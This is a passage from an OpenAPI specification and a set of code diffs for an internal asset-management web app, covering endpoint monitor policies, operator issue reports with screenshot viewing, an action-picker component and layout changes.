"get": {
"tags": [
"plugin-endpoints"
],
"summary": "Resolve the monitor set a PC type should watch: shipped defaults for 'Shopfloor PC' plus whatever active site policy...",
"description": "Resolve the monitor set a PC type should watch: shipped defaults for 'Shopfloor PC' plus whatever active site policy attaches to that type. The human-facing view of what the agent will be told\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** query: pctype (required)\n\n**Example:**\n```\ncurl 'http://localhost:5001/api/endpoints/monitors/resolve?pctype=Shopfloor+PC' -H \"Authorization: Bearer $TOK\"\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
}
}
}
},
"/api/endpoints/monitors/resolved": {
"get": {
"tags": [
"plugin-endpoints"
],
"summary": "Agent runtime watch-list. The agent calls this each telemetry cycle and receives {processes[], services[]} shaped like...",
"description": "Agent runtime watch-list. The agent calls this each telemetry cycle and receives {processes[], services[]} shaped like its own MonitorConfig, so a policy-attached monitor is watched without editing appsettings.json on the bay. Unknown hostname is a 404; a PC type with no monitors returns empty lists\n\n**Auth:** endpoints collector API key (X-API-Key/Bearer), not JWT\n\n**Params:** query: hostname (required)\n\n**Example:**\n```\ncurl 'http://localhost:5001/api/endpoints/monitors/resolved?hostname=F7MHPF24' -H \"X-API-Key: $ENDPOINTS_KEY\"\n```",
"security": [
{
"apiKeyAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
}
}
}
},
"/api/endpoints/operatorreports": {
"post": {
"tags": [
"plugin-endpoints"
],
"summary": "Agent uploads one operator issue report captured from the tray. The hostname must resolve to a computer asset. The...",
"description": "Agent uploads one operator issue report captured from the tray. The hostname must resolve to a computer asset. The screenshot is stored under a server-generated uuid filename; a retention sweep runs opportunistically so the feed stays bounded without a scheduler\n\n**Auth:** endpoints collector API key (X-API-Key/Bearer), not JWT\n\n**Params:** multipart/form-data: hostname (required), reason (default 'Other (free text)', truncated to 128), details, screenshot (png, 10 MB cap)\n\n**Example:**\n```\ncurl -X POST http://localhost:5001/api/endpoints/operatorreports -H \"X-API-Key: $ENDPOINTS_KEY\" -F hostname=F7MHPF24 -F 'details=Machine will not home' -F screenshot=@shot.png\n```",
"security": [
{
"apiKeyAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
}
},
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"type": "object",
"additionalProperties": true,
"description": "multipart/form-data: hostname (required), reason (default 'Other (free text)', truncated to 128), details, screenshot (png, 10 MB cap)"
}
}
}
}
}
},
"/api/endpoints/panel/{asset_id}/operatorreports": {
"get": {
"tags": [
"plugin-endpoints"
],
"summary": "Operator Reports asset panel: this endpoint's reports newest first, each carrying a hasimage flag so the viewer knows...",
"description": "Operator Reports asset panel: this endpoint's reports newest first, each carrying a hasimage flag so the viewer knows whether to request the screenshot\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** path: asset_id\n\n**Example:**\n```\ncurl http://localhost:5001/api/endpoints/panel/46/operatorreports -H \"Authorization: Bearer $TOK\"\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
},
"404": {
"description": "No such record."
}
},
"parameters": [
{
"name": "asset_id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
}
]
}
},
"/api/endpoints/operatorreports/{operatorreportid}/image": {
"get": {
"tags": [
"plugin-endpoints"
],
"summary": "Serve one operator report's screenshot, hardened with the shared upload headers (CSP sandbox + nosniff); 404 when the...",
"description": "Serve one operator report's screenshot, hardened with the shared upload headers (CSP sandbox + nosniff); 404 when the report carries no image\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** path: operatorreportid\n\n**Example:**\n```\ncurl http://localhost:5001/api/endpoints/operatorreports/12/image -H \"Authorization: Bearer $TOK\" -o shot.png\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
},
"404": {
"description": "No such record."
}
},
"parameters": [
{
"name": "operatorreportid",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
}
]
}
},
"/api/scripts": {
"get": {
"tags": [

View File

@@ -178,6 +178,25 @@ export const endpointsApi = {
},
telemetryMeta(assetId) {
return api.get(`/endpoints/asset/${assetId}/telemetrymeta`)
},
// Monitor catalog: reusable process/service definitions. Shipped rows are
// product-owned and read-only; local rows are user-built on the Settings page.
monitors: {
list() {
return api.get('/endpoints/monitors')
},
create(data) {
return api.post('/endpoints/monitors', data)
},
update(monitorid, data) {
return api.put(`/endpoints/monitors/${monitorid}`, data)
},
remove(monitorid) {
return api.delete(`/endpoints/monitors/${monitorid}`)
},
resolve(pctype) {
return api.get('/endpoints/monitors/resolve', { params: { pctype } })
}
}
}

View File

@@ -1068,17 +1068,28 @@ td.actions .btn + .btn {
}
/* Content Grid */
/* Balanced two-column card flow. Uses CSS multicol (not a hand-assigned
grid) so cards distribute by height and the columns stay even no matter
how many cards land on either side. display:contents flattens the two
.content-column wrappers so their cards flow directly into the columns,
which keeps the existing markup unchanged. */
/* Two-column card layout on an explicit CSS grid rather than multicol.
Multicol was abandoned because a child using column-span: all (the full
width Network Interfaces panel) overlaps the shorter column above it when
the two columns have unequal heights - a known multicol spanning bug. Grid
has no such flaw: short fact cards sit two-up and a full-width panel spans
both tracks cleanly via .pap-span. display:contents flattens the two
.content-column wrappers so their cards become direct grid items, which
keeps the existing markup unchanged. */
.content-grid {
column-count: 2;
column-gap: 25px;
display: grid;
grid-template-columns: repeat(2, minmax(0, 1fr));
gap: 25px;
align-items: start;
margin-bottom: 25px;
}
/* Grid supplies the gap; the per-card margin was a multicol-only crutch and
would otherwise double the vertical spacing. */
.content-grid > .section-card {
margin-bottom: 0;
}
.content-column {
display: contents;
}
@@ -1522,7 +1533,7 @@ td.actions .btn + .btn {
}
.content-grid {
column-count: 1;
grid-template-columns: 1fr;
}
.audit-footer {

View File

@@ -143,21 +143,205 @@
<span v-for="(b, bi) in badges(panel)" :key="bi" class="status-badge"
:style="colorStyle(b.color)">{{ b.label }}</span>
</div>
<!-- operatorreports: a thumbnail grid of operator-submitted reports; a
card expands to a lightbox with the full screenshot and note, and
left/right arrows cycle through the reports. -->
<div v-else-if="panel.render === 'operatorreports'" class="pap-reports">
<template v-if="rows(panel).length">
<div class="pap-report-grid">
<button
v-for="(report, ri) in rows(panel)"
:key="report.operatorreportid"
type="button"
class="pap-report-card"
@click="openReport(panel, ri)"
>
<div class="pap-report-thumb">
<img
v-if="report.hasimage"
:src="reportImageUrl(panel, report)"
:alt="'Screenshot for report ' + report.operatorreportid"
loading="lazy"
/>
<span v-else class="pap-report-noimage">No screenshot</span>
</div>
<div class="pap-report-preview">
<span class="pap-report-text">{{ report.details || '(no note)' }}</span>
<span class="pap-report-when">{{ formatDate(report.createdat) }}</span>
</div>
</button>
</div>
</template>
<div v-else class="pap-empty">
<span class="muted">{{ panel.empty || 'No operator reports.' }}</span>
</div>
</div>
</div>
</div>
</template>
<!-- Lightbox: full screenshot and note for the open report, with left/right
cycling. Rendered once outside the panel loop so the overlay covers the
page rather than a single card. -->
<div
v-if="lightbox.panel"
ref="lightboxEl"
class="pap-lightbox"
role="dialog"
aria-modal="true"
tabindex="-1"
@click.self="closeReport"
@keydown.esc="closeReport"
@keydown.left="cycleReport(-1)"
@keydown.right="cycleReport(1)"
>
<button type="button" class="pap-lb-close" aria-label="Close" @click="closeReport">&times;</button>
<button
type="button"
class="pap-lb-nav pap-lb-prev"
aria-label="Previous report"
:disabled="rows(lightbox.panel).length < 2"
@click.stop="cycleReport(-1)"
>&#8249;</button>
<div class="pap-lb-body">
<div class="pap-lb-image">
<img
v-if="openReportRow && openReportRow.hasimage"
:src="reportImageUrl(lightbox.panel, openReportRow)"
:alt="'Screenshot for report ' + openReportRow.operatorreportid"
/>
<span v-else class="pap-report-noimage">No screenshot</span>
</div>
<div v-if="openReportRow" class="pap-lb-details">
<div class="pap-lb-meta">
<span>{{ openReportRow.reason }}</span>
<span>{{ formatDate(openReportRow.createdat) }}</span>
<span v-if="openReportRow.reportedhostname" class="mono">{{ openReportRow.reportedhostname }}</span>
</div>
<p class="pap-lb-note">{{ openReportRow.details || '(no note)' }}</p>
<div class="pap-lb-count">
{{ lightbox.index + 1 }} / {{ rows(lightbox.panel).length }}
</div>
</div>
</div>
<button
type="button"
class="pap-lb-nav pap-lb-next"
aria-label="Next report"
:disabled="rows(lightbox.panel).length < 2"
@click.stop="cycleReport(1)"
>&#8250;</button>
</div>
</template>
<script setup>
import { ref, computed, watch } from 'vue'
import { ref, computed, watch, onUnmounted, nextTick } from 'vue'
import api from '../api'
import { colorStyle } from '@/utils/colorStyle'
import {
toApiPath, rows, panelVisible, mapTitle, mapBadge, mapMeta, manageLink,
keyvalueFields, tableColumns, cell, badges, tabSections, rollupStatus,
rowAction, facets, facetedRows,
rowAction, facets, facetedRows, formatValue,
} from './pluginAssetPanels'
// Operator report screenshots are served by a JWT-gated route, so a bare
// <img src> (which sends no Authorization header) would 401. Fetch each image
// as a blob through the api instance and hand the <img> an object URL instead.
// Cache by report id so cycling the lightbox does not refetch, and revoke on
// unmount so the blobs are not leaked.
const reportImageUrls = ref({})
function formatDate(value) {
return formatValue(value, { format: 'date' })
}
// Called from the template, so it runs on EVERY render. Without the seen-set it
// re-fired the GET for a report whose fetch was still in flight, and because
// each resolution reassigns reportImageUrls the whole grid re-rendered and
// re-fired the rest - N thumbnails cost up to N-squared requests on first load.
// Two blobs resolving for one key also orphaned the first object URL, which
// revokeReportImageUrls could not free because only the surviving one was in
// the map. A failure was never recorded either, so a broken image retried for
// the life of the page.
//
// requestedReportImages tracks "we have asked", separately from the map of
// resolved URLs, and is cleared alongside it.
const requestedReportImages = new Set()
function reportImageUrl(panel, report) {
const key = report.operatorreportid
if (reportImageUrls.value[key]) return reportImageUrls.value[key]
if (requestedReportImages.has(key)) return ''
requestedReportImages.add(key)
const base = panel.imagebase || '/api/endpoints/operatorreports'
const path = toApiPath(base + '/' + key + '/image', props.assetid)
api.get(path, { responseType: 'blob' })
.then((response) => {
const url = URL.createObjectURL(response.data)
// Another render may have resolved first; keep one URL per key and free
// the loser rather than orphaning it.
if (reportImageUrls.value[key]) {
try { URL.revokeObjectURL(url) } catch { /* already revoked */ }
return
}
reportImageUrls.value = { ...reportImageUrls.value, [key]: url }
})
.catch(() => { /* stays in requestedReportImages: do not retry every render */ })
return ''
}
// Release every cached object URL. Called on reload and unmount so a long-lived
// detail page does not leak blob handles as the operator revisits PCs.
function revokeReportImageUrls() {
Object.values(reportImageUrls.value).forEach((url) => {
try { URL.revokeObjectURL(url) } catch { /* already revoked */ }
})
reportImageUrls.value = {}
requestedReportImages.clear()
}
onUnmounted(revokeReportImageUrls)
// The open report lightbox: which panel and which row index. A null panel
// means closed.
const lightbox = ref({ panel: null, index: 0 })
const openReportRow = computed(() => {
if (!lightbox.value.panel) return null
return rows(lightbox.value.panel)[lightbox.value.index] || null
})
// The overlay owns Escape and the arrow keys, and a keydown handler on a div
// only fires while that div has focus. Nothing moved focus to it, so every
// keyboard binding on the lightbox was dead until the user happened to click
// the backdrop. Focus it once it has rendered, and hand focus back to the
// thumbnail that opened it on close, so keyboard users are not dropped at the
// top of the document.
const lightboxEl = ref(null)
let reopenFocus = null
function openReport(panel, index) {
reopenFocus = typeof document !== 'undefined' ? document.activeElement : null
lightbox.value = { panel, index }
nextTick(() => lightboxEl.value?.focus())
}
function closeReport() {
lightbox.value = { panel: null, index: 0 }
const returnTo = reopenFocus
reopenFocus = null
nextTick(() => returnTo?.focus?.())
}
function cycleReport(delta) {
if (!lightbox.value.panel) return
const total = rows(lightbox.value.panel).length
if (total < 2) return
const next = (lightbox.value.index + delta + total) % total
lightbox.value = { ...lightbox.value, index: next }
}
// Which filter chips are active, per panel id. Deliberately NOT reset when the
// data refreshes: a viewer who filtered to criticals and then hit refresh means
// to still be looking at criticals.
@@ -339,6 +523,8 @@ async function waitForFreshTelemetry(baseline, { attempts = 15, delayMs = 1000 }
// Fetch the declared panels for this asset, then each panel's data endpoint.
async function load() {
panels.value = []
revokeReportImageUrls()
closeReport()
if (!props.assetid) return
let declared
try {
@@ -447,13 +633,13 @@ defineExpose({ refresh: load, populatedGroups })
Network interfaces is the case that forced this: adapter, address, MAC,
speed and state at half page width either squeezed every cell to three
lines or handed the reader a horizontal scrollbar, and a scrollbar for
data that simply needs room is a layout failure, not a feature. column-span
is the multi-column layout's own answer, so the short fact cards stay two-up
around it.
data that simply needs room is a layout failure, not a feature. The parent
.content-grid is a CSS grid, so grid-column: 1 / -1 makes the panel span
every track while the short fact cards stay two-up around it.
The wrapper keeps overflow-x as a floor for the genuinely too-wide case on
a narrow viewport, where nothing else can help. */
.pap-span { column-span: all; }
.pap-span { grid-column: 1 / -1; }
.pap-table-wrap { overflow-x: auto; max-width: 100%; }
.pap-table { width: 100%; border-collapse: collapse; font-size: 0.85rem; }
.pap-table th, .pap-table td { text-align: left; padding: 0.4rem 0.6rem; border-bottom: 1px solid var(--border); }
@@ -476,4 +662,116 @@ defineExpose({ refresh: load, populatedGroups })
}
.mono { font-family: monospace; }
.muted { color: var(--text-light); }
/* Operator reports: a responsive thumbnail grid, each card a screenshot over a
one-line note preview. Clicking a card opens the lightbox. */
.pap-report-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(9rem, 1fr));
gap: 0.75rem;
}
.pap-report-card {
display: flex;
flex-direction: column;
padding: 0;
border: 1px solid var(--border);
border-radius: 6px;
background: var(--bg);
color: var(--text);
cursor: pointer;
overflow: hidden;
text-align: left;
}
.pap-report-card:hover { border-color: var(--primary); }
.pap-report-thumb {
aspect-ratio: 16 / 10;
display: flex;
align-items: center;
justify-content: center;
background: var(--bg);
overflow: hidden;
}
.pap-report-thumb img { width: 100%; height: 100%; object-fit: cover; }
.pap-report-noimage { font-size: 0.78rem; color: var(--text-light); }
.pap-report-preview {
display: flex;
flex-direction: column;
gap: 0.2rem;
padding: 0.45rem 0.55rem;
}
.pap-report-text {
font-size: 0.82rem;
color: var(--text);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.pap-report-when { font-size: 0.72rem; color: var(--text-light); }
/* Lightbox: a page-covering overlay with the full screenshot, the note, and
left/right cycling controls. */
.pap-lightbox {
position: fixed;
inset: 0;
z-index: 1000;
display: flex;
align-items: center;
justify-content: center;
gap: 0.5rem;
padding: 2rem;
background: rgba(0, 0, 0, 0.8);
}
.pap-lb-body {
display: flex;
flex-direction: column;
gap: 0.75rem;
max-width: 90vw;
max-height: 90vh;
background: var(--bg);
border: 1px solid var(--border);
border-radius: 8px;
padding: 1rem;
overflow: auto;
}
.pap-lb-image {
display: flex;
align-items: center;
justify-content: center;
min-height: 0;
}
.pap-lb-image img { max-width: 100%; max-height: 70vh; object-fit: contain; }
.pap-lb-details { display: flex; flex-direction: column; gap: 0.4rem; }
.pap-lb-meta {
display: flex;
flex-wrap: wrap;
gap: 0.75rem;
font-size: 0.8rem;
color: var(--text-light);
}
.pap-lb-note { margin: 0; color: var(--text); white-space: pre-wrap; overflow-wrap: anywhere; }
.pap-lb-count { font-size: 0.78rem; color: var(--text-light); font-variant-numeric: tabular-nums; }
.pap-lb-close {
position: absolute;
top: 1rem;
right: 1rem;
background: none;
border: none;
color: #fff;
font-size: 1.8rem;
line-height: 1;
cursor: pointer;
}
.pap-lb-nav {
flex: 0 0 auto;
background: rgba(255, 255, 255, 0.1);
border: none;
color: #fff;
font-size: 2rem;
line-height: 1;
padding: 0.5rem 0.9rem;
border-radius: 6px;
cursor: pointer;
}
.pap-lb-nav:hover:not(:disabled) { background: rgba(255, 255, 255, 0.25); }
.pap-lb-nav:disabled { opacity: 0.3; cursor: default; }
</style>

View File

@@ -33,6 +33,7 @@ export function rows(panel) {
if (Array.isArray(data)) list = data
else if (data && Array.isArray(data.rows)) list = data.rows
else if (data && Array.isArray(data.items)) list = data.items
else if (data && Array.isArray(data.reports)) list = data.reports
else return []
// Optional panel-level row filter so two panels can share one endpoint feed
// and each show a slice of it (for example Tracked Services vs Tracked
@@ -258,5 +259,6 @@ export function panelVisible(panel) {
if (panel.render === 'keyvalue') return keyvalueFields(panel).length > 0
if (panel.render === 'table') return rows(panel).length > 0 || !!panel.empty
if (panel.render === 'badge') return badges(panel).length > 0
if (panel.render === 'operatorreports') return rows(panel).length > 0 || !!panel.empty
return false
}

View File

@@ -37,6 +37,14 @@ export async function getFacilityName() {
return getSetting('facility_name', 'ShopDB')
}
// Environment channel label (e.g. 'DEV') injected by the backend from
// SHOPDB_ENV_LABEL. Empty on stable/main deployments, which renders no badge.
// Drives the red DEV tag in the sidebar so a bleeding-edge container is
// obviously distinct from a stable one running side by side.
export async function getEnvLabel() {
return getSetting('env_label', '')
}
// Main site logo (sidebar, login, dashboard header). Fallback = shipped GE mark.
export async function getSiteLogo() {
return withBase(await getSetting('site_logo', '/ge-aerospace-logo.svg'))

View File

@@ -4,6 +4,9 @@
<div class="sidebar-header">
<img :src="siteLogo" alt="Site logo" class="sidebar-logo" />
<h1>{{ facilityName }}</h1>
<!-- Only present when the container sets SHOPDB_ENV_LABEL (edge/dev
channel). Stable leaves it empty, so nothing renders. --><span
v-if="envLabel" class="env-badge">{{ envLabel }}</span>
<!-- Under the site name, where the classic site put it. -->
<div class="fiscal-week">
<span class="fiscal-week-label">Fiscal Week</span>
@@ -122,7 +125,7 @@ import { useAuthStore } from '../stores/auth'
import { currentTheme, toggleTheme } from '../stores/theme'
import { dashboardApi, notificationsApi } from '../api'
import { fiscalWeek } from '@/utils/fiscalWeek'
import { getFacilityName, getSiteLogo, getServicenowUrls } from '../utils/siteSettings'
import { getFacilityName, getSiteLogo, getServicenowUrls, getEnvLabel } from '../utils/siteSettings'
import { withBase } from '../utils/basePath'
const router = useRouter()
@@ -155,6 +158,7 @@ const cansearch = ref(false)
const navItems = ref([])
const activeNotifications = ref([])
const facilityName = ref('ShopDB')
const envLabel = ref('')
// A tab left open overnight would otherwise show last week's number until
// somebody reloaded. Recomputed on a timer rather than only at mount.
@@ -286,6 +290,7 @@ onMounted(async () => {
fiscalWeekTimer = setInterval(() => { currentFiscalWeek.value = fiscalWeek() }, 30 * 60 * 1000)
getFacilityName().then(name => { facilityName.value = name })
getEnvLabel().then(label => { envLabel.value = label })
getSiteLogo().then(logo => { siteLogo.value = logo })
getServicenowUrls().then(config => { servicenowConfig.value = config })
@@ -352,6 +357,21 @@ onUnmounted(() => {
</script>
<style scoped>
/* Bleeding-edge channel badge. Loud red on purpose so a dev container is never
mistaken for stable when the two run side by side. Only rendered when the
backend reports a non-empty env_label (SHOPDB_ENV_LABEL). */
.env-badge {
display: inline-block;
margin-top: 0.35rem;
padding: 0.1rem 0.5rem;
border-radius: 3px;
background: var(--danger);
color: #fff;
font-size: 0.62rem;
font-weight: 700;
letter-spacing: 0.12em;
text-transform: uppercase;
}
/* Fiscal week, under the site name, where the classic site put it. The number
carries the weight; the label is small because it never changes. */
.fiscal-week {

View File

@@ -40,6 +40,23 @@ def _known_actions():
return set(COMMAND_ALLOWLIST.keys())
def _is_valid_action(name):
"""True when an action name is either an allowlisted command or a monitor
attachment (monitor:<id>) pointing at an existing monitor definition.
Monitor actions are intentionally kept out of the command allowlist so they
are never enqueued as commands; they are only valid as policy attachments.
"""
if name in _known_actions():
return True
from plugins.endpoints.commands import monitor_id_from_action
from plugins.endpoints.models import EndpointMonitor
monitorid = monitor_id_from_action(name)
if monitorid is None:
return False
return db.session.get(EndpointMonitor, monitorid) is not None
def _configpolicy_dict(policy):
data = policy.to_dict()
data['actions'] = [a.to_dict() for a in policy.actions]
@@ -89,11 +106,15 @@ def _apply_actions(policy, actions):
Returns an error_response on failure, else None.
"""
known = _known_actions()
policy.actions.clear()
# Flush the deletes before re-appending. The (configurationpolicyid, action)
# unique constraint collides if SQLAlchemy orders a re-added action's INSERT
# before the old row's DELETE in the same flush, which surfaces as a generic
# "value already in use" IntegrityError on an otherwise valid edit.
db.session.flush()
for row in actions or []:
name = (row.get('action') or '').strip()
if name not in known:
if not _is_valid_action(name):
return error_response(ErrorCodes.VALIDATION_ERROR,
f'Unknown action: {name!r}')
mode = (row.get('mode') or ACTION_MODE_GATE).strip()
@@ -259,6 +280,10 @@ def get_business_policy(policy_id: int):
def _apply_items(policy, items):
"""Replace a business policy's configuration-policy items, validating each."""
policy.items.clear()
# Flush the deletes before re-appending so the (businesspolicyid,
# configurationpolicyid) unique constraint does not collide with a re-added
# item whose INSERT would otherwise race ahead of the old row's DELETE.
db.session.flush()
seen = set()
for order, row in enumerate(items or []):
cpid = row.get('configurationpolicyid')
@@ -375,14 +400,19 @@ def delete_business_policy(policy_id: int):
@computers_bp.route('/policies/actions', methods=['GET'])
@require_permission('computers.view')
def list_policy_actions():
"""The allowlisted action names + labels a policy may reference."""
"""The allowlisted action names + labels a policy may reference.
Returns command actions tagged kind='command'. Monitor attachments are not
listed here: the UI builds that branch from the endpoints monitor catalog
(endpointsApi.monitors) so newly created monitors appear without a reload.
"""
gate = _feature_gate()
if gate:
return gate
from plugins.endpoints.commands import COMMAND_ALLOWLIST
return success_response([
{'action': name, 'label': meta.get('label'),
'description': meta.get('description')}
'description': meta.get('description'), 'kind': 'command'}
for name, meta in COMMAND_ALLOWLIST.items()
])

View File

@@ -70,8 +70,8 @@ export default [
meta: { requiresAuth: true, requiresAdmin: true, plugin: 'computers' }
},
{
path: 'settings/business-policies',
name: 'business-policies',
path: 'settings/site-policies',
name: 'site-policies',
component: () => import('./views/BusinessPoliciesList.vue'),
meta: { requiresAuth: true, requiresAdmin: true, plugin: 'computers' }
}

View File

@@ -0,0 +1,265 @@
<template>
<div class="action-picker" @keydown.esc="closeDropdown">
<input
ref="inputEl"
type="text"
class="form-control"
:placeholder="placeholder"
v-model="query"
@focus="openDropdown"
@input="openDropdown"
/>
<div v-if="open" class="action-dropdown">
<!-- Command level: commands + a Monitor branch entry -->
<template v-if="level === 'command'">
<div
v-for="opt in filteredCommands"
:key="opt.action"
class="action-option"
@mousedown.prevent="selectCommand(opt)"
>
{{ opt.label || opt.action }}
</div>
<div
class="action-option action-branch"
@mousedown.prevent="enterMonitorLevel"
>
Monitor...
</div>
<div v-if="filteredCommands.length === 0" class="action-empty">No matching actions</div>
</template>
<!-- Monitor level: two create entries pinned on top, then existing monitors -->
<template v-else-if="level === 'monitor'">
<div class="action-option action-create" @mousedown.prevent="startCreate('process')">
&lt;Create Process Monitor&gt;
</div>
<div class="action-option action-create" @mousedown.prevent="startCreate('service')">
&lt;Create Service Monitor&gt;
</div>
<div class="action-divider"></div>
<div
v-for="m in filteredMonitors"
:key="m.endpointmonitorid"
class="action-option"
@mousedown.prevent="selectMonitor(m)"
>
{{ m.displayname }} <span class="monitor-kind">({{ m.kind }})</span>
</div>
<div v-if="filteredMonitors.length === 0" class="action-empty">No matching monitors</div>
</template>
<!-- Create level: inline text field to name the new process/service monitor -->
<template v-else>
<div class="action-create-form" @mousedown.prevent>
<label class="action-create-label">
{{ createkind === 'service' ? 'Service name to monitor' : 'Process name to monitor' }}
</label>
<input
ref="createInputEl"
type="text"
class="form-control"
:placeholder="createkind === 'service' ? 'e.g. Spooler' : 'e.g. agent.exe'"
v-model="createname"
@keydown.enter.prevent="submitCreate"
@keydown.esc.prevent="cancelCreate"
/>
<template v-if="createkind === 'process'">
<label class="action-create-label">
Launch path (optional)
</label>
<input
type="text"
class="form-control"
placeholder="e.g. C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
v-model="createlaunchpath"
@keydown.enter.prevent="submitCreate"
@keydown.esc.prevent="cancelCreate"
/>
</template>
<div class="action-create-actions">
<button type="button" class="btn btn-primary btn-sm" :disabled="!createname.trim() || creating" @mousedown.prevent="submitCreate">
Create
</button>
<button type="button" class="btn btn-secondary btn-sm" @mousedown.prevent="cancelCreate">
Cancel
</button>
</div>
</div>
</template>
</div>
</div>
</template>
<script setup>
import { ref, computed, watch, nextTick } from 'vue'
import { endpointsApi } from '@/api'
import { apiError } from '@/utils/apiError'
import { useToast } from '@/composables/toast'
const props = defineProps({
modelValue: { type: String, default: '' },
commandActions: { type: Array, default: () => [] },
monitors: { type: Array, default: () => [] }
})
const emit = defineEmits(['update:modelValue', 'monitor-created'])
const toast = useToast()
const inputEl = ref(null)
const createInputEl = ref(null)
const open = ref(false)
// 'command' -> top level, 'monitor' -> monitor list, 'create' -> inline name form
const level = ref('command')
const query = ref('')
const createkind = ref('process')
const createname = ref('')
const createlaunchpath = ref('')
const creating = ref(false)
// Show the chosen action's friendly label in the input when not actively typing.
watch(() => props.modelValue, syncLabel, { immediate: true })
watch(() => props.monitors, () => { if (!open.value) syncLabel() })
function syncLabel() {
query.value = labelFor(props.modelValue)
}
function labelFor(action) {
if (!action) return ''
if (action.startsWith('monitor:')) {
const id = Number(action.slice('monitor:'.length))
const monitor = props.monitors.find(m => m.endpointmonitorid === id)
return monitor ? `Monitor: ${monitor.displayname} (${monitor.kind})` : action
}
const command = props.commandActions.find(c => c.action === action)
return command ? (command.label || command.action) : action
}
const placeholder = computed(() =>
level.value === 'monitor' ? 'Search monitors...' : 'Search actions...')
const filteredCommands = computed(() => {
const term = query.value.trim().toLowerCase()
if (!term) return props.commandActions
return props.commandActions.filter(c =>
(c.label || c.action).toLowerCase().includes(term))
})
const filteredMonitors = computed(() => {
const term = query.value.trim().toLowerCase()
if (!term) return props.monitors
return props.monitors.filter(m => m.displayname.toLowerCase().includes(term))
})
function openDropdown() {
open.value = true
}
function closeDropdown() {
open.value = false
level.value = 'command'
resetCreate()
syncLabel()
}
function enterMonitorLevel() {
level.value = 'monitor'
query.value = ''
inputEl.value?.focus()
}
function selectCommand(opt) {
emit('update:modelValue', opt.action)
open.value = false
level.value = 'command'
query.value = opt.label || opt.action
}
function selectMonitor(monitor) {
emit('update:modelValue', `monitor:${monitor.endpointmonitorid}`)
open.value = false
level.value = 'command'
query.value = `Monitor: ${monitor.displayname} (${monitor.kind})`
}
async function submitCreate() {
const displayname = createname.value.trim()
if (!displayname || creating.value) return
const kind = createkind.value
const payload = {
kind,
displayname,
processname: kind === 'process' ? displayname : '',
servicename: kind === 'service' ? displayname : '',
isactive: true
}
if (kind === 'process' && createlaunchpath.value.trim()) {
payload.launchpath = createlaunchpath.value.trim()
}
creating.value = true
try {
const response = await endpointsApi.monitors.create(payload)
const created = response.data.data
emit('monitor-created', created)
emit('update:modelValue', `monitor:${created.endpointmonitorid}`)
open.value = false
level.value = 'command'
resetCreate()
query.value = `Monitor: ${created.displayname} (${created.kind})`
} catch (err) {
toast.error(apiError(err, 'Failed to create monitor'))
} finally {
creating.value = false
}
}
function startCreate(kind) {
createkind.value = kind
createname.value = ''
createlaunchpath.value = ''
level.value = 'create'
nextTick(() => createInputEl.value?.focus())
}
function resetCreate() {
createname.value = ''
createlaunchpath.value = ''
creating.value = false
}
function cancelCreate() {
resetCreate()
level.value = 'monitor'
nextTick(() => inputEl.value?.focus())
}
</script>
<style scoped>
.action-picker { position: relative; flex: 1; min-width: 220px; }
.action-dropdown {
position: absolute;
z-index: 20;
left: 0;
right: 0;
margin-top: 2px;
max-height: 320px;
overflow-y: auto;
background: var(--bg-card-solid);
color: var(--text);
border: 1px solid var(--border);
border-radius: 4px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.35);
}
.action-option { padding: 8px 12px; cursor: pointer; color: var(--text); }
.action-option:hover { background: var(--bg); }
.action-branch { font-style: italic; }
.action-create { font-weight: 600; color: var(--primary); }
.action-divider { height: 1px; background: var(--border); margin: 2px 0; }
.action-empty { padding: 6px 10px; color: var(--text-light); }
.monitor-kind { color: var(--text-light); }
.action-create-form { padding: 10px; display: flex; flex-direction: column; gap: 8px; }
.action-create-label { font-size: 12px; color: var(--text-light); }
.action-create-actions { display: flex; gap: 8px; }
</style>

View File

@@ -1,8 +1,8 @@
<template>
<div>
<div class="page-header">
<h2>Business Policies</h2>
